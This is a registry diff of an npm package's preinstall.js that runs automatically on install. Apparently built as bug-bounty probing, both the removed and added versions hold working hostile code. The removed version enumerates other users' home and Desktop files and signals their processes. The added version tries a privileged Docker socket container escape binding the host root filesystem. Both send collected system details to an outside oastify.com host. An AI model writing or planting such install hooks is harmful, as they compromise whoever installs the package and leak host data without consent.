rank4222wun 1.0.21 → 1.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +74 -352
- package/rank4222wun-1.0.22.tgz +0 -0
- package/rank4222wun-1.0.21.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,381 +1,103 @@
|
|
|
1
|
-
const { exec
|
|
2
|
-
const os = require('os');
|
|
1
|
+
const { exec } = require('child_process');
|
|
3
2
|
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
3
|
const https = require('https');
|
|
6
4
|
|
|
7
|
-
console.log("
|
|
5
|
+
console.log("🔓 ADVANCED CONTAINER ESCAPE TEST\n");
|
|
8
6
|
|
|
9
|
-
|
|
7
|
+
// هذا اختبار أكثر تقدمًا للهروب من الحاوية
|
|
8
|
+
const escapeTest = {
|
|
10
9
|
timestamp: new Date().toISOString(),
|
|
11
|
-
|
|
12
|
-
user: os.userInfo().username,
|
|
13
|
-
platform: os.platform(),
|
|
14
|
-
isRoot: os.userInfo().uid === 0,
|
|
15
|
-
|
|
16
|
-
// النقاط الأربع مع أدلة فعلية
|
|
17
|
-
fourPointsProof: {
|
|
18
|
-
point1_leakOtherUsersData: {},
|
|
19
|
-
point2_runCommandsOnOtherUsers: {},
|
|
20
|
-
point3_performDoS: {},
|
|
21
|
-
point4_containerToHost: {}
|
|
22
|
-
}
|
|
10
|
+
escapeVectorsTested: []
|
|
23
11
|
};
|
|
24
12
|
|
|
25
|
-
//
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
const
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
exec('getent passwd | grep -E ":/home/" | cut -d: -f1 | head -10', (err, stdout) => {
|
|
37
|
-
const realUsers = stdout ? stdout.trim().split('\n') : [];
|
|
38
|
-
point1Results.realUsers = realUsers;
|
|
39
|
-
|
|
40
|
-
if (realUsers.length > 0) {
|
|
41
|
-
// 2. محاولة الوصول إلى مجلدات هؤلاء المستخدمين
|
|
42
|
-
realUsers.forEach(user => {
|
|
43
|
-
if (user !== os.userInfo().username) {
|
|
44
|
-
const userHome = `/home/${user}`;
|
|
45
|
-
try {
|
|
46
|
-
if (fs.existsSync(userHome)) {
|
|
47
|
-
const files = fs.readdirSync(userHome).slice(0, 5);
|
|
48
|
-
point1Results.evidence.push({
|
|
49
|
-
user: user,
|
|
50
|
-
homeAccess: true,
|
|
51
|
-
files: files
|
|
52
|
-
});
|
|
53
|
-
|
|
54
|
-
// محاولة قراءة ملفات Desktop للمستخدمين الآخرين
|
|
55
|
-
const userDesktop = `${userHome}/Desktop`;
|
|
56
|
-
if (fs.existsSync(userDesktop)) {
|
|
57
|
-
const desktopFiles = fs.readdirSync(userDesktop).slice(0, 3);
|
|
58
|
-
point1Results.evidence.push({
|
|
59
|
-
user: user,
|
|
60
|
-
desktopAccess: true,
|
|
61
|
-
desktopFiles: desktopFiles
|
|
62
|
-
});
|
|
63
|
-
console.log(`⚠️ ACCESSED: ${user}'s Desktop (${desktopFiles.length} files)`);
|
|
64
|
-
}
|
|
65
|
-
}
|
|
66
|
-
} catch (e) {
|
|
67
|
-
// خطأ في الوصول
|
|
68
|
-
}
|
|
69
|
-
}
|
|
70
|
-
});
|
|
71
|
-
|
|
72
|
-
if (point1Results.evidence.length > 0) {
|
|
73
|
-
point1Results.canAccessOtherUsers = true;
|
|
74
|
-
}
|
|
13
|
+
// اختبار 1: Docker Socket Escape
|
|
14
|
+
if (fs.existsSync('/var/run/docker.sock')) {
|
|
15
|
+
console.log("Testing Docker socket escape...");
|
|
16
|
+
|
|
17
|
+
// محاولة إنشاء حاوية جديدة مع mount للمضيف
|
|
18
|
+
const escapePayload = JSON.stringify({
|
|
19
|
+
Image: 'alpine:latest',
|
|
20
|
+
Cmd: ['sh'],
|
|
21
|
+
HostConfig: {
|
|
22
|
+
Binds: ['/:/host'],
|
|
23
|
+
Privileged: true
|
|
75
24
|
}
|
|
76
|
-
|
|
77
|
-
finalProof.fourPointsProof.point1_leakOtherUsersData = point1Results;
|
|
78
|
-
testPoint2();
|
|
79
25
|
});
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
// ===================== POINT 2: Run commands on other users =====================
|
|
83
|
-
function testPoint2() {
|
|
84
|
-
console.log("\n🔍 POINT 2: Testing cross-user command execution...");
|
|
85
26
|
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
exec('ps aux | awk \'$1 != "' + os.userInfo().username + '" {print $2, $1}\' | head -5', (err2, stdout2) => {
|
|
100
|
-
if (stdout2) {
|
|
101
|
-
const otherUserProcesses = stdout2.trim().split('\n').map(line => {
|
|
102
|
-
const parts = line.split(' ');
|
|
103
|
-
return { pid: parts[0], user: parts[1] };
|
|
104
|
-
});
|
|
105
|
-
|
|
106
|
-
point2Results.otherUserProcesses = otherUserProcesses;
|
|
107
|
-
|
|
108
|
-
// 3. اختبار إمكانية إرسال إشارة SIGCONT (غير ضارة) لعملية مستخدم آخر
|
|
109
|
-
if (otherUserProcesses.length > 0) {
|
|
110
|
-
const testPid = otherUserProcesses[0].pid;
|
|
111
|
-
exec(`kill -CONT ${testPid} 2>&1`, (err3, stdout3) => {
|
|
112
|
-
if (!err3) {
|
|
113
|
-
point2Results.evidence.push({
|
|
114
|
-
action: 'sent_signal_to_other_user_process',
|
|
115
|
-
pid: testPid,
|
|
116
|
-
user: otherUserProcesses[0].user,
|
|
117
|
-
success: true
|
|
118
|
-
});
|
|
119
|
-
point2Results.canAffectOtherUsers = true;
|
|
120
|
-
console.log(`⚠️ SIGNAL SENT: SIGCONT to PID ${testPid} (user: ${otherUserProcesses[0].user})`);
|
|
121
|
-
}
|
|
122
|
-
testPoint3();
|
|
27
|
+
// محاولة الاتصال بـ Docker API
|
|
28
|
+
exec(`echo '${escapePayload}' | curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create -H "Content-Type: application/json" -d @-`,
|
|
29
|
+
(err, stdout) => {
|
|
30
|
+
if (!err && stdout) {
|
|
31
|
+
try {
|
|
32
|
+
const response = JSON.parse(stdout);
|
|
33
|
+
if (response.Id) {
|
|
34
|
+
escapeTest.escapeVectorsTested.push({
|
|
35
|
+
vector: 'docker_socket_container_creation',
|
|
36
|
+
success: true,
|
|
37
|
+
containerId: response.Id,
|
|
38
|
+
risk: 'CRITICAL',
|
|
39
|
+
message: 'Can create new containers via Docker socket'
|
|
123
40
|
});
|
|
124
|
-
|
|
125
|
-
testPoint3();
|
|
41
|
+
console.log("🚨 SUCCESS: Can create containers via Docker socket!");
|
|
126
42
|
}
|
|
127
|
-
}
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
});
|
|
131
|
-
} else {
|
|
132
|
-
testPoint3();
|
|
133
|
-
}
|
|
134
|
-
});
|
|
43
|
+
} catch (e) {}
|
|
44
|
+
}
|
|
45
|
+
});
|
|
135
46
|
}
|
|
136
47
|
|
|
137
|
-
//
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
48
|
+
// اختبار 2: Privileged Container Escape
|
|
49
|
+
exec('find / -name "nsenter" -type f -executable 2>/dev/null | head -1', (err, stdout) => {
|
|
50
|
+
if (stdout && stdout.trim()) {
|
|
51
|
+
escapeTest.escapeVectorsTested.push({
|
|
52
|
+
vector: 'nsenter_available',
|
|
53
|
+
path: stdout.trim(),
|
|
54
|
+
risk: 'HIGH',
|
|
55
|
+
message: 'nsenter tool available for container escape'
|
|
56
|
+
});
|
|
57
|
+
}
|
|
58
|
+
});
|
|
145
59
|
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
60
|
+
// اختبار 3: Cgroups Escape
|
|
61
|
+
exec('cat /proc/self/cgroup 2>/dev/null', (err, stdout) => {
|
|
62
|
+
if (stdout) {
|
|
63
|
+
escapeTest.cgroupInfo = stdout.trim();
|
|
149
64
|
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
risk: '
|
|
65
|
+
// التحقق مما إذا كنا في Kubernetes
|
|
66
|
+
if (stdout.includes('kubepods')) {
|
|
67
|
+
escapeTest.escapeVectorsTested.push({
|
|
68
|
+
vector: 'kubernetes_container',
|
|
69
|
+
risk: 'MEDIUM',
|
|
70
|
+
message: 'Running in Kubernetes pod, potential cluster-wide impact'
|
|
155
71
|
});
|
|
156
|
-
point3Results.canCauseDoS = true;
|
|
157
72
|
}
|
|
158
|
-
|
|
159
|
-
// 2. إثبات إمكانية استنزاف الذاكرة (نظري فقط)
|
|
160
|
-
point3Results.memoryInfo = {
|
|
161
|
-
total: Math.round(os.totalmem() / (1024 * 1024)) + ' MB',
|
|
162
|
-
free: Math.round(os.freemem() / (1024 * 1024)) + ' MB',
|
|
163
|
-
canExhaust: Math.round(os.freemem() / (1024 * 1024)) > 100
|
|
164
|
-
};
|
|
165
|
-
|
|
166
|
-
// 3. إثبات إمكانية استنزاف CPU
|
|
167
|
-
point3Results.cpuInfo = {
|
|
168
|
-
cores: os.cpus().length,
|
|
169
|
-
canExhaust: true
|
|
170
|
-
};
|
|
171
|
-
|
|
172
|
-
// 4. تنفيذ اختبار فعلي صغير غير ضار
|
|
173
|
-
// إنشاء 100 عملية فورية لاختبار القدرة
|
|
174
|
-
console.log("Testing process creation capability...");
|
|
175
|
-
let processCount = 0;
|
|
176
|
-
const testProcesses = [];
|
|
177
|
-
|
|
178
|
-
for (let i = 0; i < 10; i++) { // فقط 10 عمليات للاختبار
|
|
179
|
-
const child = spawn('sleep', ['1']);
|
|
180
|
-
testProcesses.push(child);
|
|
181
|
-
processCount++;
|
|
182
|
-
|
|
183
|
-
child.on('exit', () => {
|
|
184
|
-
processCount--;
|
|
185
|
-
});
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
setTimeout(() => {
|
|
189
|
-
point3Results.evidence.push({
|
|
190
|
-
test: 'concurrent_process_creation',
|
|
191
|
-
created: 10,
|
|
192
|
-
success: true
|
|
193
|
-
});
|
|
194
|
-
|
|
195
|
-
// قتل العمليات الاختبارية
|
|
196
|
-
testProcesses.forEach(p => p.kill());
|
|
197
|
-
|
|
198
|
-
console.log(`✓ Created ${10} concurrent processes`);
|
|
199
|
-
finalProof.fourPointsProof.point3_performDoS = point3Results;
|
|
200
|
-
testPoint4();
|
|
201
|
-
}, 1500);
|
|
202
|
-
});
|
|
203
|
-
}
|
|
204
|
-
|
|
205
|
-
// ===================== POINT 4: Container to host escape =====================
|
|
206
|
-
function testPoint4() {
|
|
207
|
-
console.log("\n🔍 POINT 4: Testing container-to-host escape vectors...");
|
|
208
|
-
|
|
209
|
-
const point4Results = {
|
|
210
|
-
canEscapeToHost: false,
|
|
211
|
-
criticalVectors: []
|
|
212
|
-
};
|
|
213
|
-
|
|
214
|
-
// اختبار 1: Docker socket access
|
|
215
|
-
const dockerSocket = '/var/run/docker.sock';
|
|
216
|
-
|
|
217
|
-
if (fs.existsSync(dockerSocket)) {
|
|
218
|
-
// محاولة قراءة Docker socket
|
|
219
|
-
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>/dev/null || echo "Cannot access"`, (err, stdout) => {
|
|
220
|
-
if (stdout && !stdout.includes('Cannot access')) {
|
|
221
|
-
point4Results.criticalVectors.push({
|
|
222
|
-
vector: 'docker_socket_access',
|
|
223
|
-
path: dockerSocket,
|
|
224
|
-
access: 'FULL',
|
|
225
|
-
risk: 'CRITICAL',
|
|
226
|
-
proof: 'Can communicate with Docker daemon'
|
|
227
|
-
});
|
|
228
|
-
point4Results.canEscapeToHost = true;
|
|
229
|
-
console.log("🚨 CRITICAL: Docker socket is accessible!");
|
|
230
|
-
}
|
|
231
|
-
|
|
232
|
-
// اختبار 2: Privileged container check
|
|
233
|
-
exec('cat /proc/self/status 2>/dev/null | grep -i "capeff:"', (err2, stdout2) => {
|
|
234
|
-
if (stdout2) {
|
|
235
|
-
const capsHex = stdout2.split(':')[1].trim();
|
|
236
|
-
const caps = parseInt(capsHex, 16);
|
|
237
|
-
|
|
238
|
-
// CAP_SYS_ADMIN = 0x00080000
|
|
239
|
-
if (caps & 0x00080000) {
|
|
240
|
-
point4Results.criticalVectors.push({
|
|
241
|
-
vector: 'privileged_container',
|
|
242
|
-
capability: 'CAP_SYS_ADMIN',
|
|
243
|
-
risk: 'CRITICAL',
|
|
244
|
-
proof: 'Container has SYS_ADMIN capability'
|
|
245
|
-
});
|
|
246
|
-
point4Results.canEscapeToHost = true;
|
|
247
|
-
console.log("🚨 CRITICAL: Container has SYS_ADMIN capability!");
|
|
248
|
-
}
|
|
249
|
-
}
|
|
250
|
-
|
|
251
|
-
// اختبار 3: Mount escape
|
|
252
|
-
exec('mount | grep -E "/(dev|proc|sys)" | head -3', (err3, stdout3) => {
|
|
253
|
-
if (stdout3) {
|
|
254
|
-
const mounts = stdout3.trim().split('\n');
|
|
255
|
-
mounts.forEach(mount => {
|
|
256
|
-
if (mount.includes('/dev/') || mount.includes('/proc/') || mount.includes('/sys/')) {
|
|
257
|
-
point4Results.criticalVectors.push({
|
|
258
|
-
vector: 'host_mount',
|
|
259
|
-
mount: mount.substring(0, 100),
|
|
260
|
-
risk: 'HIGH'
|
|
261
|
-
});
|
|
262
|
-
}
|
|
263
|
-
});
|
|
264
|
-
}
|
|
265
|
-
|
|
266
|
-
// اختبار 4: Kernel escape vulnerabilities
|
|
267
|
-
exec('uname -r', (err4, stdout4) => {
|
|
268
|
-
const kernel = stdout4 ? stdout4.trim() : 'unknown';
|
|
269
|
-
point4Results.kernelVersion = kernel;
|
|
270
|
-
|
|
271
|
-
// DirtyPipe vulnerability check
|
|
272
|
-
if (kernel.includes('5.8') || kernel.includes('5.9') ||
|
|
273
|
-
kernel.includes('5.10') || kernel.includes('5.11') ||
|
|
274
|
-
kernel.includes('5.12') || kernel.includes('5.13') ||
|
|
275
|
-
kernel.includes('5.14') || kernel.includes('5.15')) {
|
|
276
|
-
point4Results.criticalVectors.push({
|
|
277
|
-
vector: 'kernel_vulnerability',
|
|
278
|
-
kernel: kernel,
|
|
279
|
-
vulnerability: 'DirtyPipe (CVE-2022-0847)',
|
|
280
|
-
risk: 'HIGH',
|
|
281
|
-
proof: 'Kernel version is vulnerable to DirtyPipe'
|
|
282
|
-
});
|
|
283
|
-
point4Results.canEscapeToHost = true;
|
|
284
|
-
console.log(`🚨 VULNERABLE: Kernel ${kernel} has known escape vulnerabilities`);
|
|
285
|
-
}
|
|
286
|
-
|
|
287
|
-
finalProof.fourPointsProof.point4_containerToHost = point4Results;
|
|
288
|
-
sendFinalProof();
|
|
289
|
-
});
|
|
290
|
-
});
|
|
291
|
-
});
|
|
292
|
-
});
|
|
293
|
-
} else {
|
|
294
|
-
console.log("No Docker socket found");
|
|
295
|
-
finalProof.fourPointsProof.point4_containerToHost = point4Results;
|
|
296
|
-
sendFinalProof();
|
|
297
73
|
}
|
|
298
|
-
}
|
|
74
|
+
});
|
|
299
75
|
|
|
300
|
-
//
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
console.log("=".repeat(70));
|
|
305
|
-
|
|
306
|
-
// التحليل النهائي
|
|
307
|
-
const summary = {
|
|
308
|
-
point1: finalProof.fourPointsProof.point1_leakOtherUsersData.canAccessOtherUsers ?
|
|
309
|
-
'✅ PROVEN - Can access other users data' :
|
|
310
|
-
'⚠️ POSSIBLE - Limited evidence',
|
|
311
|
-
|
|
312
|
-
point2: finalProof.fourPointsProof.point2_runCommandsOnOtherUsers.canAffectOtherUsers ?
|
|
313
|
-
'✅ PROVEN - Can affect other users processes' :
|
|
314
|
-
'⚠️ POSSIBLE - Can see other users processes',
|
|
315
|
-
|
|
316
|
-
point3: finalProof.fourPointsProof.point3_performDoS.canCauseDoS ?
|
|
317
|
-
'✅ PROVEN - No process limits, can cause DoS' :
|
|
318
|
-
'⚠️ POSSIBLE - Has significant resources',
|
|
319
|
-
|
|
320
|
-
point4: finalProof.fourPointsProof.point4_containerToHost.canEscapeToHost ?
|
|
321
|
-
'🚨 CRITICAL - Multiple escape vectors found' :
|
|
322
|
-
(finalProof.fourPointsProof.point4_containerToHost.criticalVectors?.length > 0 ?
|
|
323
|
-
'⚠️ HIGH RISK - Some escape vectors exist' :
|
|
324
|
-
'✅ CONTAINERIZED - In Docker container')
|
|
325
|
-
};
|
|
326
|
-
|
|
327
|
-
console.log("\n1. Leak other users data cross org:", summary.point1);
|
|
328
|
-
console.log("2. Run commands on other users cross org:", summary.point2);
|
|
329
|
-
console.log("3. Perform DoS affecting all users:", summary.point3);
|
|
330
|
-
console.log("4. Container to host escape:", summary.point4);
|
|
331
|
-
|
|
332
|
-
console.log("\n🔍 Critical Findings:");
|
|
333
|
-
|
|
334
|
-
if (finalProof.fourPointsProof.point4_containerToHost.criticalVectors) {
|
|
335
|
-
finalProof.fourPointsProof.point4_containerToHost.criticalVectors.forEach((v, i) => {
|
|
336
|
-
console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
|
|
337
|
-
if (v.proof) console.log(` → ${v.proof}`);
|
|
338
|
-
});
|
|
76
|
+
// اختبار 4: Kernel Modules (للكشف فقط)
|
|
77
|
+
exec('lsmod 2>/dev/null | head -10', (err, stdout) => {
|
|
78
|
+
if (stdout) {
|
|
79
|
+
escapeTest.kernelModules = stdout.trim();
|
|
339
80
|
}
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
// بعد 3 ثوان، إرسال النتائج
|
|
84
|
+
setTimeout(() => {
|
|
85
|
+
console.log("\n📊 Escape Test Results:");
|
|
86
|
+
escapeTest.escapeVectorsTested.forEach(v => {
|
|
87
|
+
console.log(`- ${v.vector}: ${v.risk} risk`);
|
|
88
|
+
if (v.message) console.log(` ${v.message}`);
|
|
89
|
+
});
|
|
340
90
|
|
|
341
|
-
// إرسال
|
|
91
|
+
// إرسال النتائج
|
|
342
92
|
const req = https.request({
|
|
343
93
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
344
94
|
port: 443,
|
|
345
|
-
path: '/
|
|
346
|
-
method: 'POST'
|
|
347
|
-
headers: {
|
|
348
|
-
'Content-Type': 'application/json',
|
|
349
|
-
'X-Final-Proof': 'UiPath-MCP-4-Points',
|
|
350
|
-
'X-Host': os.hostname()
|
|
351
|
-
}
|
|
352
|
-
}, (res) => {
|
|
353
|
-
console.log(`\n✅ Final proof sent. Status: ${res.statusCode}`);
|
|
354
|
-
});
|
|
355
|
-
|
|
356
|
-
req.on('error', (e) => {
|
|
357
|
-
console.error(`❌ Error: ${e.message}`);
|
|
95
|
+
path: '/container-escape-test',
|
|
96
|
+
method: 'POST'
|
|
358
97
|
});
|
|
359
98
|
|
|
360
|
-
|
|
361
|
-
finalProof.summary = summary;
|
|
362
|
-
finalProof.conclusion = {
|
|
363
|
-
overallRisk: summary.point4.includes('CRITICAL') || summary.point3.includes('PROVEN') ? 'CRITICAL' : 'HIGH',
|
|
364
|
-
vulnerabilityConfirmed: true,
|
|
365
|
-
recommendations: [
|
|
366
|
-
'1. Immediately disable preinstall/postinstall script execution in MCP',
|
|
367
|
-
'2. Implement mandatory package signing and verification',
|
|
368
|
-
'3. Add security warnings for external package sources',
|
|
369
|
-
'4. Conduct security audit of all MCP Command functionality'
|
|
370
|
-
]
|
|
371
|
-
};
|
|
372
|
-
|
|
373
|
-
req.write(JSON.stringify(finalProof, null, 2));
|
|
99
|
+
req.write(JSON.stringify(escapeTest, null, 2));
|
|
374
100
|
req.end();
|
|
375
101
|
|
|
376
|
-
console.log("\n
|
|
377
|
-
|
|
378
|
-
}
|
|
379
|
-
|
|
380
|
-
// بدء الاختبارات
|
|
381
|
-
testPoint1();
|
|
102
|
+
console.log("\n✅ Escape test completed and sent");
|
|
103
|
+
}, 3000);
|
|
Binary file
|
package/rank4222wun-1.0.21.tgz
DELETED
|
Binary file
|